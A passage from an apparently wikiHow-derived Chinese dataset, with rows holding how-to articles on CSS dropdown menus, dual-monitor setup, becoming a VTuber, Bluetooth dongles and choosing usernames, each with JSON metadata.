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|---|---|---|---|---|
14,657 | 如何使用HTML和CSS制作下拉菜单 | 1. HTML
1-1. 创建CSS菜单的HTML代码框架。
我们使用class=“nav”属性的‘div’标签作为菜单的容器。在截图中，在图示的HTML代码中，一个简单的无序列表（ul）来表示主菜单项。
1-2. 在主菜单区域中添加链接。
在本步骤中，在无序列表（ul）每一项上添加链接。
1-3. 在“关于我们（About Us）”下方LI标签内添加一个无序列表，它代表其子菜单的链接。
1-4. 在HTML代码中添加样式表链接。
目前我们已经完成了HTML代码，其内容是一个清晰的菜单和子菜单的层次布局结构。我们使用外置的CSS样式表，因此需要在代码的‘head’区域添加样式表链接。
2. CSS
2-1. 创建CSS文件。
完成HTML框架代码后，我们需要使用样式表来实现下列菜单功能。我们使用CSS选择器来定位HTML中的菜单项，因此无需在HTML中添加额外的ID或class属性。
我们通过UL内嵌UL的方式来定位子菜单，并使用display:none;属性 将其隐藏。
在鼠标悬停在LI元素上时，我们需要将其转换为block模式，重新显示相应的子菜单，而>命令可以定位鼠标悬停位置的LI元素。
2-2. 使用CSS样式表显示主菜单。
position:relative;声明让子菜单根据主菜单相对位置显示。
display:inline-block;声明可以将菜单调整到合适宽度。
2-3. 设置鼠标悬停时的字体渐变颜色。
图示中的代码在悬停时，将链接变为深色渐变背景和白色文字的字体
2-4. 使用样式表显示子菜单。
当前子菜单样式继承主菜单元素。我们要让子菜单项垂直显示在主菜单项下方。
2-5. 定位下拉菜单，并将菜单项对齐。
这将会同时去除灰色背景。
position:relative;声明必须添加到列表项顶端。
position:absolute;声明必须添加到相对位置定位的列表中。
| {
"create_time": "20230517 11:02:13",
"回答明细": "{\"回答\": \"1. HTML\\n1-1. 创建CSS菜单的HTML代码框架。\\n我们使用class=“nav”属性的‘div’标签作为菜单的容器。在截图中，在图示的HTML代码中，一个简单的无序列表（ul）来表示主菜单项。\\n1-2. 在主菜单区域中添加链接。\\n在本步骤中，在无序列表（ul）每一项上添加链接。\\n1-3. 在“关于我们（About Us）”下方LI标签内添加一个无序列表，它代表其子菜单的链接。\\n\\n1-4. 在HTML代码中添加样式表链接。\\n目前我们已经完成了HTML代码，其内容是一个清晰的菜单和子菜单的层次布局结构。我们使用外置的CSS样式表，因此需要在代码的‘head’区域添加样式表链接。\\n2. CSS\\n2-1. 创建CSS文件。\\n完成HTML框架代码后，我们需要使用样式表来实现下列菜单功能。我们使用CSS选择器来定位HTML中的菜单项，因此无需在HTML中添加额外的ID或class属性。\\n我们通过UL内嵌UL的方式来定位子菜单，并使用display:none;属性 将其隐藏。\\n在鼠标悬停在LI元素上时，我们需要将其转换为block模式，重新显示相应的子菜单，而>命令可以定位鼠标悬停位置的LI元素。\\n2-2. 使用CSS样式表显示主菜单。\\nposition:relative;声明让子菜单根据主菜单相对位置显示。\\ndisplay:inline-block;声明可以将菜单调整到合适宽度。\\n2-3. 设置鼠标悬停时的字体渐变颜色。\\n图示中的代码在悬停时，将链接变为深色渐变背景和白色文字的字体\\n2-4. 使用样式表显示子菜单。\\n当前子菜单样式继承主菜单元素。我们要让子菜单项垂直显示在主菜单项下方。\\n2-5. 定位下拉菜单，并将菜单项对齐。\\n这将会同时去除灰色背景。\\nposition:relative;声明必须添加到列表项顶端。\\nposition:absolute;声明必须添加到相对位置定位的列表中。\\n\", \"简要回答\": \"下拉菜单可以在页面上分级显示不同类别的项目。如果用户将鼠标悬停在菜单项上，菜单项下会显示子菜单项目。\\n我们仅使用HTML和CSS代码就可以制作这样的菜单。\\n学习这篇指南后，你就能在示例上稍作修改，制作属于自己的菜单。此外，我们为每个步骤提供了截图，帮助你掌握制作菜单的方法。\\n我们先从HTML代码开始学习，稍后再学习CSS样式表部分内容。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"HTML\", \"步骤\": [{\"编号\": 1, \"标题\": \"创建CSS菜单的HTML代码框架。\", \"描述\": \"我们使用class=“nav”属性的‘div’标签作为菜单的容器。在截图中，在图示的HTML代码中，一个简单的无序列表（ul）来表示主菜单项。\"}, {\"编号\": 2, \"标题\": \"在主菜单区域中添加链接。\", \"描述\": \"在本步骤中，在无序列表（ul）每一项上添加链接。\"}, {\"编号\": 3, \"标题\": \"在“关于我们（About Us）”下方LI标签内添加一个无序列表，它代表其子菜单的链接。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"在HTML代码中添加样式表链接。\", \"描述\": \"目前我们已经完成了HTML代码，其内容是一个清晰的菜单和子菜单的层次布局结构。我们使用外置的CSS样式表，因此需要在代码的‘head’区域添加样式表链接。\"}]}, {\"编号\": 2, \"标题\": \"CSS\", \"步骤\": [{\"编号\": 1, \"标题\": \"创建CSS文件。\", \"描述\": \"完成HTML框架代码后，我们需要使用样式表来实现下列菜单功能。我们使用CSS选择器来定位HTML中的菜单项，因此无需在HTML中添加额外的ID或class属性。\\n我们通过UL内嵌UL的方式来定位子菜单，并使用display:none;属性 将其隐藏。\\n在鼠标悬停在LI元素上时，我们需要将其转换为block模式，重新显示相应的子菜单，而>命令可以定位鼠标悬停位置的LI元素。\"}, {\"编号\": 2, \"标题\": \"使用CSS样式表显示主菜单。\", \"描述\": \"position:relative;声明让子菜单根据主菜单相对位置显示。\\ndisplay:inline-block;声明可以将菜单调整到合适宽度。\"}, {\"编号\": 3, \"标题\": \"设置鼠标悬停时的字体渐变颜色。\", \"描述\": \"图示中的代码在悬停时，将链接变为深色渐变背景和白色文字的字体\"}, {\"编号\": 4, \"标题\": \"使用样式表显示子菜单。\", \"描述\": \"当前子菜单样式继承主菜单元素。我们要让子菜单项垂直显示在主菜单项下方。\"}, {\"编号\": 5, \"标题\": \"定位下拉菜单，并将菜单项对齐。\", \"描述\": \"这将会同时去除灰色背景。\\nposition:relative;声明必须添加到列表项顶端。\\nposition:absolute;声明必须添加到相对位置定位的列表中。\"}]}]}}",
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} | wikihow |
14,658 | 如何安装双显示器 | 1. Windows上进行双显示器设置
1-1. 首先确认显示器连接计算机的方式。
检查一下主机背面显示器接入的地方，如果你看到显示器的插头是竖着的，靠近主机顶部，而且周围有许多诸如USB接口、以太网接口、扬声器接口等等，那么显示器就是连接在主板上。如果显示器插头是横向插在主板下面，那么显示器就是连接在显卡上。
两台显示器必须连接在同一个显卡上。如果你的显示器目前还连接在主板上，那么你就需要把它拔下来，插到显卡上。如果你没有独立显卡，那么就要在安装双显示器前先安装独立显卡。
1-2. 检查接口类型。
观察一下显卡上是什么接口，接口的类型决定了你连接显示器的方式，决定你是否需要用到适配器。
HDMI接口- 这是最新的标准显示器接口，只要是近五年内制造的计算机，基本上都会有这个接口，它的外形就像是加长的USB接口。HDMI接口能够传输高质量的视频和音频。
DVI-I/DVI-D接口- DVI（数字视频接口）在很长时间内都是计算机上平板显示器的标准接口。DVI-I接口右侧有一个“+”极接口，而DVI-D则是“-”极接口，两者都可以连接DVI显示器，但是只有DVI-I能够连接VGA/DVI转换适配器。如果一个显卡上有两个DVI接口，那么一般只有其中之一是DVI-I接口。
VGA接口- VGA是输出模拟信号的接口，这在阴极射线管显示器时代是最常见的。近来，这类接口已经逐渐淘汰，不过在一些老式的计算机上，你还是有可能碰到。
DisplayPort接口- DiaplayPort是一种数字式视频接口标准，与HDMI类似。4K显示器必须使用DisplayPort接口，但是它总的来说还是没有HDMI常见。
1-3. 将计算机关机。
关闭计算机再连接显示器能够方便安装过程，但如果是HDMI或DisplayPort就没必要这样做。
1-4. 连接第二台显示器。
将第二台显示器连接到显卡上。主显示器要连接在质量最好的视频接口上，比如你有一台HDMI显示器和一台VGA显示器，那么你的主显示器就最好通过HDMI接口连接。
如果你用的是VGA或DVI的话，就要用连接线上自带的螺丝将其固定。
1-5. 在Windows中进行显示器设置。
开机，启动Windows，这时系统会自动监测到已经连接的显示器。右键桌面，选择“屏幕分辨率”。如果你用的是Windows XP，那就右键桌面，选择“属性”，然后单击“设置”标签。
在“多显示器”下拉菜单中，你可以选择扩展模式、复制模式以及只在一台显示器上显示。
在扩展模式下，窗口及其他对象都可以在两个屏幕间自由移动。
1-6. 快速修改多屏显示设置。
在Windows 7和Windows 8上，你也可以在“外接显示”设置面板中修改显示模式。
按下Win+P，你就可以在“外接显示”菜单中选择“仅电脑屏幕”、“复制”、“扩展”或“仅第二屏幕”。
2. Mac OS X上进行双显示器设置
2-1. 检查接口类型。
要连入另一台显示器，你的Mac或MacBook上就要有相匹配的接口。你也可以去购买适配器，这样就能将比较老式的计算机与比较新式的显示器相连，或者将比较老式的显示器与比较新式的计算机相连。
HDMI接口- 这是最新的标准显示器接口，只要是近五年内制造的计算机，基本上都会有这个接口，它的外形就像是加长的USB接口。HDMI接口能够传输高质量的视频和音频。
DVI-I/DVI-D接口- DVI（数字视频接口）在很长时间内都是计算机上平板显示器的标准接口。Mini-DVI是苹果设备专有的接口，它和DVI的功能相同，但是略小一些。
VGA接口- VGA是输出模拟信号的接口，这在阴极射线管显示器时代是最常见的。近来，这类接口已经逐渐淘汰，不过在一些老式的计算机上，你还是有可能碰到。
DisplayPort/Thunderbolt接口- Mac使用DisplayPort的历史要长于大多数PC机，而Thunderbolt则是Mac上比较新式的一种接口。DisplayPort显示器可以接DisplayPort接口，也可以接Thunderbolt接口，但是Thunderbolt显示器只可以接Thunderbolt接口。
适配器- 适配器种类有很多，都是帮助用户将显示器与接口不匹配的Mac连接起来。一些比较实用的适配器有：Thunderboly/HDMI转换适配器、VGA/DVI转换适配器、Mini-DVI/DVI转换适配器以及DVI/HDMI转换适配器。
2-2. 连接显示器。
如果是VGA或DVI显示器，就要先关闭Mac；其他显示器就可以直接插上。此外，如果是VGA或DVI显示器，还要记得用连接线上自带的螺丝钉将其固定。
2-3. 安装新显示器。
点击苹果菜单，选择“系统偏好设置”，选择“显示器”，点击“排列”标签，调整屏幕位置，这样，你的鼠标就能在两台显示器之间来回移动了。
默认设置下，OS X会将桌面拓展至另一台显示器，如果你希望两台显示器显示器同样的内容，那你就要勾选“镜像显示”。
2-4. 选择分辨率。
OS X会尝试为你设置一个适合双显示器的分辨率，你当然也可以自己设置分辨率，但是如果不选择推荐的分辨率，画面可能会不自然地拉伸或模糊。
3. 将苹果电视机用作Mac OS X的第二显示器
3-1. 在苹果电视机上安装AirPlay。
安装AirPlay后，你就可以在不将计算机和高清电视连接起来的情况下，将电视用作计算机的第二屏幕。但是要实现这一点必须使用Mountain Lion或更新的系统，计算机和苹果电视也必须连入同一网络。
如果你使用的是Mountain Lion，那么你只能选择镜像显示；如果使用的是Mavericks，那么你就可以使用扩展功能。
有关苹果电视上的具体设置可以参考相关wikiHow指南。
3-2. 单击AirPlay菜单。
完成苹果电视上的设置、并将其连入同一网络后，Mac的菜单栏里面就会出现AirPlay菜单，单击AirPlay菜单，在设备列表中选中你连入的苹果电视。
3-3. 重新设置显示模式。
单击苹果菜单，选择“系统偏好设置”，选择“显示器”，再点击“排列”标签。这时，调整一下屏幕的显示方式，这样你的鼠标就能在两个屏幕之间自由移动了。
如果你用的是Mavericks，你就可以把“镜像显示”前面的复选框勾上，这样就可以有两个相同的屏幕了。
3-4. 用Spaces整理窗口。
Spaces方便你在运行多个任务时把窗口排列整齐，把每个打开的窗口分配到特定空间内，这样你就能井井有条地进行工作了。
窗口在默认情况下跨显示器显示。要设置跨显示器显示窗口，你就要在系统偏好设置中选择Mission Control，然后去掉“显示器具有单独空间”的勾。
如果想把应用放在特定的空间里，你就可以在Dock上右键该应用的图标，选择“选项”，然后选择相应的显示器。
小提示
大多数比较低端的个人计算机都不会有能支持双显示器的独立显卡，而只有集成显卡。所以，你要安装双显示器的话，很可能需要配备专门的显卡。
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Mac OS X上进行双显示器设置\\n2-1. 检查接口类型。\\n要连入另一台显示器，你的Mac或MacBook上就要有相匹配的接口。你也可以去购买适配器，这样就能将比较老式的计算机与比较新式的显示器相连，或者将比较老式的显示器与比较新式的计算机相连。\\nHDMI接口- 这是最新的标准显示器接口，只要是近五年内制造的计算机，基本上都会有这个接口，它的外形就像是加长的USB接口。HDMI接口能够传输高质量的视频和音频。\\nDVI-I/DVI-D接口- DVI（数字视频接口）在很长时间内都是计算机上平板显示器的标准接口。Mini-DVI是苹果设备专有的接口，它和DVI的功能相同，但是略小一些。\\nVGA接口- VGA是输出模拟信号的接口，这在阴极射线管显示器时代是最常见的。近来，这类接口已经逐渐淘汰，不过在一些老式的计算机上，你还是有可能碰到。\\nDisplayPort/Thunderbolt接口- Mac使用DisplayPort的历史要长于大多数PC机，而Thunderbolt则是Mac上比较新式的一种接口。DisplayPort显示器可以接DisplayPort接口，也可以接Thunderbolt接口，但是Thunderbolt显示器只可以接Thunderbolt接口。\\n适配器- 适配器种类有很多，都是帮助用户将显示器与接口不匹配的Mac连接起来。一些比较实用的适配器有：Thunderboly/HDMI转换适配器、VGA/DVI转换适配器、Mini-DVI/DVI转换适配器以及DVI/HDMI转换适配器。\\n2-2. 连接显示器。\\n如果是VGA或DVI显示器，就要先关闭Mac；其他显示器就可以直接插上。此外，如果是VGA或DVI显示器，还要记得用连接线上自带的螺丝钉将其固定。\\n2-3. 安装新显示器。\\n点击苹果菜单，选择“系统偏好设置”，选择“显示器”，点击“排列”标签，调整屏幕位置，这样，你的鼠标就能在两台显示器之间来回移动了。\\n默认设置下，OS X会将桌面拓展至另一台显示器，如果你希望两台显示器显示器同样的内容，那你就要勾选“镜像显示”。\\n2-4. 选择分辨率。\\nOS X会尝试为你设置一个适合双显示器的分辨率，你当然也可以自己设置分辨率，但是如果不选择推荐的分辨率，画面可能会不自然地拉伸或模糊。\\n3. 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14,659 | 如何成为虚拟主播 | 1. 成为虚拟主播需要什么设备？
1-1. 一台配备高速网络的优质电脑。
不管你要创作哪一种类型的内容，这一点是最重要的。一般来说，最好购买一台型号比较新、至少配8GB内存的桌面电脑。笔记本电脑也能用，但是有些必要的软件可能会运行得比较慢。
1-2. 一个运动跟踪网络摄像头。
挑一个能识别你的脸并将表情投射到虚拟形象上的网络摄像头。价廉物美的网络摄像头有Logitech Pro或微软的LifeCam。
1-3. 之后如果想要，可以购买虚拟现实（VR）头戴设备。
刚开始直播时，不一定要捕捉自己的手、腿和脚等所有部位的动作。随着直播渐入佳境，想要升级到全身的虚拟形象，才考虑购买VR设备。质量不错的VR头戴设备要上千元。
2. 直播时需要使用哪些软件？
受欢迎的直播软件包括Facerig、Luppet、VSeeFace和VTube Studi， 大部分都可以在Windows和Mac电脑下载。
有些能帮助你创建一个虚拟形象，有的则会很仔细地捕捉你的动作，投射到你的虚拟角色上。
Wakaru、3tene和Puppemoji也是很好的选择。
这些网站大部分需要付月费或一次性的下载费用。每个软件的收费不一，但是预计会在软件上花好几百元。
3. 成为虚拟主播需要花多少钱？
预计花费几百到几千元不等。
具体的花费取决于你现在已经拥有的设备，以及将来想花多少钱升级自己的设备和虚拟形象。刚开始至少要花几百到几千元，购买新的网络摄像头和创建3D虚拟形象的软件。
即使设备有限，也能开始当虚拟主播。随着直播渐入佳境，开始赚到钱，才考虑升级你的设备。
4. 如何创建一个3D虚拟形象？
4-1. 自己在线上工作室创建虚拟形象。
你可以用Blender、Daz3D和Pixiv等程序量身定制一个虚拟形象。这些工作室允许你从零开始创建虚拟形象，自己塑造面部特征、身体和服饰。Blender和Pixiv都有推出免费版，但是功能有限。如果想要升级帐户，每月付几十元就能使用所有功能。
4-2. 花钱请人帮你设计虚拟形象。
如果你没有什么艺术细胞，可以找动画设计师或Photoshop达人帮你创建一个虚拟形象。在搜索引擎或社交平台搜索“3D虚拟形象有偿设计”，寻找这方面的专家。每个人收费不同，通常创建一个虚拟形象大概要花几十到几百元。
5. 可以用移动设备直播吗？
只要下载VTube studio，就可以在移动设备上直播。
这款应用允许你将2D虚拟形象直接上传到手机，并跟踪你的面部动作。但是，它还不能支持3D形象。
iOS版本有瞳孔跟踪功能，安卓版本没有。
你可以在 https://play.google.com/store/apps/details?id=com.denchi.vtubestudio&hl=en_GB 下载VTube studio。
6. 如何加入Hololive公司？
6-1. 弄清楚他们什么时候会举办面试。
Hololive每次想要寻找新的虚拟主播时，都会举办面试。他们没有固定的时间表，你需要定期浏览官网 https://en.hololive.tv/audition ，查看他们什么时候开放试镜。
6-2. 提交在线申请。
点击Hololive试镜页面的“申请”按钮后，你会被导向一份在线问卷。问卷会要求你提交5分钟的自我介绍和虚拟形象解说视频。
6-3. 进行面试。
如果你的申请通过了，会被邀请与Hololive团队进行面试。如果你就住在公司附近，可以上门面试，否则他们会安排电话面试。他们会询问你的直播经验，想要加入Hololive的理由，以及是否可以及时推出他们要求的内容。
小提示
成为虚拟主播并不需要花很多钱。只要有基础的设备和一个标准的虚拟形象就可以开始了！
| {
"create_time": "20230517 11:02:13",
"回答明细": "{\"回答\": \"1. 成为虚拟主播需要什么设备？\\n1-1. 一台配备高速网络的优质电脑。\\n不管你要创作哪一种类型的内容，这一点是最重要的。一般来说，最好购买一台型号比较新、至少配8GB内存的桌面电脑。笔记本电脑也能用，但是有些必要的软件可能会运行得比较慢。\\n1-2. 一个运动跟踪网络摄像头。\\n挑一个能识别你的脸并将表情投射到虚拟形象上的网络摄像头。价廉物美的网络摄像头有Logitech Pro或微软的LifeCam。\\n1-3. 之后如果想要，可以购买虚拟现实（VR）头戴设备。\\n刚开始直播时，不一定要捕捉自己的手、腿和脚等所有部位的动作。随着直播渐入佳境，想要升级到全身的虚拟形象，才考虑购买VR设备。质量不错的VR头戴设备要上千元。\\n2. 直播时需要使用哪些软件？\\n受欢迎的直播软件包括Facerig、Luppet、VSeeFace和VTube Studi， 大部分都可以在Windows和Mac电脑下载。\\n有些能帮助你创建一个虚拟形象，有的则会很仔细地捕捉你的动作，投射到你的虚拟角色上。\\nWakaru、3tene和Puppemoji也是很好的选择。\\n这些网站大部分需要付月费或一次性的下载费用。每个软件的收费不一，但是预计会在软件上花好几百元。\\n3. 成为虚拟主播需要花多少钱？\\n预计花费几百到几千元不等。\\n具体的花费取决于你现在已经拥有的设备，以及将来想花多少钱升级自己的设备和虚拟形象。刚开始至少要花几百到几千元，购买新的网络摄像头和创建3D虚拟形象的软件。\\n即使设备有限，也能开始当虚拟主播。随着直播渐入佳境，开始赚到钱，才考虑升级你的设备。\\n4. 如何创建一个3D虚拟形象？\\n4-1. 自己在线上工作室创建虚拟形象。\\n你可以用Blender、Daz3D和Pixiv等程序量身定制一个虚拟形象。这些工作室允许你从零开始创建虚拟形象，自己塑造面部特征、身体和服饰。Blender和Pixiv都有推出免费版，但是功能有限。如果想要升级帐户，每月付几十元就能使用所有功能。\\n4-2. 花钱请人帮你设计虚拟形象。\\n如果你没有什么艺术细胞，可以找动画设计师或Photoshop达人帮你创建一个虚拟形象。在搜索引擎或社交平台搜索“3D虚拟形象有偿设计”，寻找这方面的专家。每个人收费不同，通常创建一个虚拟形象大概要花几十到几百元。\\n5. 可以用移动设备直播吗？\\n只要下载VTube studio，就可以在移动设备上直播。\\n这款应用允许你将2D虚拟形象直接上传到手机，并跟踪你的面部动作。但是，它还不能支持3D形象。\\niOS版本有瞳孔跟踪功能，安卓版本没有。\\n你可以在 https://play.google.com/store/apps/details?id=com.denchi.vtubestudio&hl=en_GB 下载VTube studio。\\n6. 如何加入Hololive公司？\\n6-1. 弄清楚他们什么时候会举办面试。\\nHololive每次想要寻找新的虚拟主播时，都会举办面试。他们没有固定的时间表，你需要定期浏览官网 https://en.hololive.tv/audition ，查看他们什么时候开放试镜。\\n6-2. 提交在线申请。\\n点击Hololive试镜页面的“申请”按钮后，你会被导向一份在线问卷。问卷会要求你提交5分钟的自我介绍和虚拟形象解说视频。\\n6-3. 进行面试。\\n如果你的申请通过了，会被邀请与Hololive团队进行面试。如果你就住在公司附近，可以上门面试，否则他们会安排电话面试。他们会询问你的直播经验，想要加入Hololive的理由，以及是否可以及时推出他们要求的内容。\\n小提示\\n成为虚拟主播并不需要花很多钱。只要有基础的设备和一个标准的虚拟形象就可以开始了！\\n\", \"简要回答\": \"如果你经常上YouTube，可能会注意到2017年开始掀起的虚拟主播热潮。虚拟主播完全不露脸，而是使用虚拟形象跟观众说话。随着这股热潮越来越受欢迎，虚拟主播们的粉丝越来越多，许多人都想知道要怎么踏入这行。本文会解答所有跟虚拟主播相关的问题，帮助你实现梦想。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"成为虚拟主播需要什么设备？\", \"步骤\": [{\"编号\": 1, \"标题\": \"一台配备高速网络的优质电脑。\", \"描述\": \"不管你要创作哪一种类型的内容，这一点是最重要的。一般来说，最好购买一台型号比较新、至少配8GB内存的桌面电脑。笔记本电脑也能用，但是有些必要的软件可能会运行得比较慢。\"}, {\"编号\": 2, \"标题\": \"一个运动跟踪网络摄像头。\", \"描述\": \"挑一个能识别你的脸并将表情投射到虚拟形象上的网络摄像头。价廉物美的网络摄像头有Logitech Pro或微软的LifeCam。\"}, {\"编号\": 3, \"标题\": \"之后如果想要，可以购买虚拟现实（VR）头戴设备。\", \"描述\": \"刚开始直播时，不一定要捕捉自己的手、腿和脚等所有部位的动作。随着直播渐入佳境，想要升级到全身的虚拟形象，才考虑购买VR设备。质量不错的VR头戴设备要上千元。\"}]}, {\"编号\": 2, \"标题\": \"直播时需要使用哪些软件？\", \"步骤\": [{\"编号\": 1, \"标题\": \"受欢迎的直播软件包括Facerig、Luppet、VSeeFace和VTube Studi， 大部分都可以在Windows和Mac电脑下载。\", \"描述\": \"有些能帮助你创建一个虚拟形象，有的则会很仔细地捕捉你的动作，投射到你的虚拟角色上。\\nWakaru、3tene和Puppemoji也是很好的选择。\\n这些网站大部分需要付月费或一次性的下载费用。每个软件的收费不一，但是预计会在软件上花好几百元。\"}]}, {\"编号\": 3, \"标题\": \"成为虚拟主播需要花多少钱？\", \"步骤\": [{\"编号\": 1, \"标题\": \"预计花费几百到几千元不等。\", \"描述\": \"具体的花费取决于你现在已经拥有的设备，以及将来想花多少钱升级自己的设备和虚拟形象。刚开始至少要花几百到几千元，购买新的网络摄像头和创建3D虚拟形象的软件。\\n即使设备有限，也能开始当虚拟主播。随着直播渐入佳境，开始赚到钱，才考虑升级你的设备。\"}]}, {\"编号\": 4, \"标题\": \"如何创建一个3D虚拟形象？\", \"步骤\": [{\"编号\": 1, \"标题\": \"自己在线上工作室创建虚拟形象。\", \"描述\": \"你可以用Blender、Daz3D和Pixiv等程序量身定制一个虚拟形象。这些工作室允许你从零开始创建虚拟形象，自己塑造面部特征、身体和服饰。Blender和Pixiv都有推出免费版，但是功能有限。如果想要升级帐户，每月付几十元就能使用所有功能。\"}, {\"编号\": 2, \"标题\": \"花钱请人帮你设计虚拟形象。\", \"描述\": \"如果你没有什么艺术细胞，可以找动画设计师或Photoshop达人帮你创建一个虚拟形象。在搜索引擎或社交平台搜索“3D虚拟形象有偿设计”，寻找这方面的专家。每个人收费不同，通常创建一个虚拟形象大概要花几十到几百元。\"}]}, {\"编号\": 5, \"标题\": \"可以用移动设备直播吗？\", \"步骤\": [{\"编号\": 1, \"标题\": \"只要下载VTube studio，就可以在移动设备上直播。\", \"描述\": \"这款应用允许你将2D虚拟形象直接上传到手机，并跟踪你的面部动作。但是，它还不能支持3D形象。\\niOS版本有瞳孔跟踪功能，安卓版本没有。\\n你可以在 https://play.google.com/store/apps/details?id=com.denchi.vtubestudio&hl=en_GB 下载VTube studio。\"}]}, {\"编号\": 6, \"标题\": \"如何加入Hololive公司？\", \"步骤\": [{\"编号\": 1, \"标题\": \"弄清楚他们什么时候会举办面试。\", \"描述\": \"Hololive每次想要寻找新的虚拟主播时，都会举办面试。他们没有固定的时间表，你需要定期浏览官网 https://en.hololive.tv/audition ，查看他们什么时候开放试镜。\"}, {\"编号\": 2, \"标题\": \"提交在线申请。\", \"描述\": \"点击Hololive试镜页面的“申请”按钮后，你会被导向一份在线问卷。问卷会要求你提交5分钟的自我介绍和虚拟形象解说视频。\"}, {\"编号\": 3, \"标题\": \"进行面试。\", \"描述\": \"如果你的申请通过了，会被邀请与Hololive团队进行面试。如果你就住在公司附近，可以上门面试，否则他们会安排电话面试。他们会询问你的直播经验，想要加入Hololive的理由，以及是否可以及时推出他们要求的内容。\"}], \"小提示\": [\"成为虚拟主播并不需要花很多钱。只要有基础的设备和一个标准的虚拟形象就可以开始了！\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,660 | 如何使用蓝牙加密狗 | 1. 步骤
1-1. 把加密狗插到计算机的空USB端口，就像插U盘一样。
计算机应该自动检测设备并安装所需要的驱动。如果没有，就寻找加密狗的驱动程序。
蓝牙信号比多红外信号更容易通过障碍。不需要担心加密狗和设备之间的距离。
你应该看到系统托盘中的多条消息，通知你正在安装驱动程序，并已 成功连接蓝牙加密狗。这时任务栏中应该出现一个蓝牙图标。
1-2. 打开控制面板来连接蓝牙设备。
可以在开始菜单，或者按windows加X键来打开。在windows8中选择控制面板。
打开蓝牙设备或在硬件和声音下，单击添加设备（windows7）
1-3. 添加蓝牙设备的向导窗口会出现，确保设备的蓝牙设备是开启的。
单击“我的设备已就绪”，再单击“下一步”。
1-4. 选择设备，单击下一步，windows会开始配置您的设备并自动下载正确的驱动程序。
你可能需要PIN码或者其他代码来连接设备。如果不知道的话，尝试一下0000。
只需要一次与电脑连接，此后设备将自动连接，只要在距离范围内并且加密狗已经插上了。
小提示
你可以从计算机上远程查看蓝牙设备上的文件
可以发送和接收文件，如图片、音频、视频等。只需要右键点击任务栏的蓝牙图表，并选择发送文件或接收文件。
警告
蓝牙设备是短距离无线网络，只能支持10米以内的。如果移动距离太远，加密狗即使链接到电脑也是无法使用或速度极慢。
| {
"create_time": "20230517 11:02:13",
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} | wikihow |
14,661 | 如何创建一个用户名 | 1. 步骤
1-1. 知道您的用户名代表您。
当您在网上与人们互动，您的用户名将会是他们看到的第一件事。确保您喜欢自己的用户名，因为您会看到很多。
1-2. 创建不同的用户名用于不同的服务。
网上不同的地方会要求不同形式的用户名。如果您注册一个专业的网站，您的用户名可能想与使用于游戏论坛定期发布的用户名不同。
您可以将您的互联网用途分为两个不同的类别：专业和个人兴趣。然后，您可以在专业网站使用一个用户名，在个人兴趣网站使用另一个用户名。这样您更容易记住您的用户名。
1-3. 保持匿名。
创建用户名时，应避免使用任何个人身份信息，包括您的姓名或生日。
使用您名字的变异，自己很容易记住，但别人很难联想到您的名字。例如，使用少有人知的中间名或反向拼写。
1-4. 如果您的第一个用户名被拒绝不要放弃。
大多数主要的在线服务上的最常用名称基本都已经被采用了。如果您要加入一个老社区，很有可能您想要的名字已经被采用了。与其接受他们给您的，不如自己发挥创意！
1-5. 想想您的兴趣。
例如，您热衷于巴西，上网搜索亚马逊的鲜花，战士，或民间故事人物的名字。如果您喜欢修理旧车，把您最喜爱的发动机或汽车制造商作为您的用户名。
1-6. 创建复合用户名。
把您的兴趣结合起来以创建一个唯一的用户名。把两个或多个不同的词放在一起，建立一个单一的用户名。这将有助于使您的名字更加独特，并增加能够使用它的成功机会。
1-7. 跨越语言障碍。
查一查其他语言的文字。也许， “作家”的用户名不可用，但是法语的同义词“ Ecrivain ”可用。您也可以用一个幻想语言的词，如精灵或克林昂。
1-8. 保持简短。
如果您要经常输入用户名，您会喜欢一个较短的名称！缩短长词语（例如把密西西比小姐缩成米西） ，并尽量使用户名易于键入。
1-9. 使用符号模拟空格和字母。
大多数网站不会让您在用户名使用空格，但很多都会让您用下划线“_”字符模仿空空。您也可以用一些数字来代替字母，如“ 7 ”代替“T”或“ 3 ” 代替“E” 。这被称为“利特语”，一般存在于在线视频游戏界。
句号经常在用户名中把单词分开。
在用户名中不要用您的出生年份，特别是未成年人，这使得非常容易辨认您多大年纪。
1-10. 尝试名称生成器。
网上有多种随机名称生成器。这些都需要各种输入和返回一个随机生成的名称列表供您选择。虽然这比自己创建的缺少个性，但省得您绞尽脑汁想一些原创性的东西。
小提示
写下您的用户名放在计算机附近，不要忘记它。记住哪个网站用哪个用户名，特别是您有多个不同用户名和网站。
不要让您的用户名复杂难记，特别是如果您打算与其他人分享（例如，被加入到好友列表）。
列出形容您的形容词表，并设法将其纳入您的用户名。
您也可以使用您的名称作电子邮件用户名，但如果是工作，远离潜在的难堪尴尬的名称 。
对于大多数网站，用户名必须是6-14个字符之间。
通常更独特的用户名，就越有可能用于不同的网站，越少需要您记住。另一方面，如果您使它太个人化，您的隐私可能会成为问题。
一些网站，如AIM，有一个特点，当您申请时输入了几句话，他们会为您建议3 到 5个用户名称。这些一般会给予您更多的原创性成果，但是如果您认为会不记得，就不应该使用它。
警告
当您只为wikiHow创建用户名时请务必阅读wikiHow用户名规定。 wikiHow用户名规定并不适用于一般的网站。
注意各网站的要求。往往会注明“用户名必须不包含任何暗示或不适当的语言。”
| {
"create_time": "20230517 11:02:13",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 知道您的用户名代表您。\\n当您在网上与人们互动，您的用户名将会是他们看到的第一件事。确保您喜欢自己的用户名，因为您会看到很多。\\n1-2. 创建不同的用户名用于不同的服务。\\n网上不同的地方会要求不同形式的用户名。如果您注册一个专业的网站，您的用户名可能想与使用于游戏论坛定期发布的用户名不同。\\n您可以将您的互联网用途分为两个不同的类别：专业和个人兴趣。然后，您可以在专业网站使用一个用户名，在个人兴趣网站使用另一个用户名。这样您更容易记住您的用户名。\\n1-3. 保持匿名。\\n创建用户名时，应避免使用任何个人身份信息，包括您的姓名或生日。\\n使用您名字的变异，自己很容易记住，但别人很难联想到您的名字。例如，使用少有人知的中间名或反向拼写。\\n1-4. 如果您的第一个用户名被拒绝不要放弃。\\n大多数主要的在线服务上的最常用名称基本都已经被采用了。如果您要加入一个老社区，很有可能您想要的名字已经被采用了。与其接受他们给您的，不如自己发挥创意！\\n1-5. 